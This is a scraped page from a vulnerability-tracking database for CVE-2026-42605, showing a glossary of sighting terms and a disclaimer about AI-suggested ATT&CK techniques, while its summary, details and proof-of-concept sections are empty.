Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-42605 (GCVE-0-2026-42605)

FKIE_CVE-2026-42605

GHSA-VP2F-CQQP-478J

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature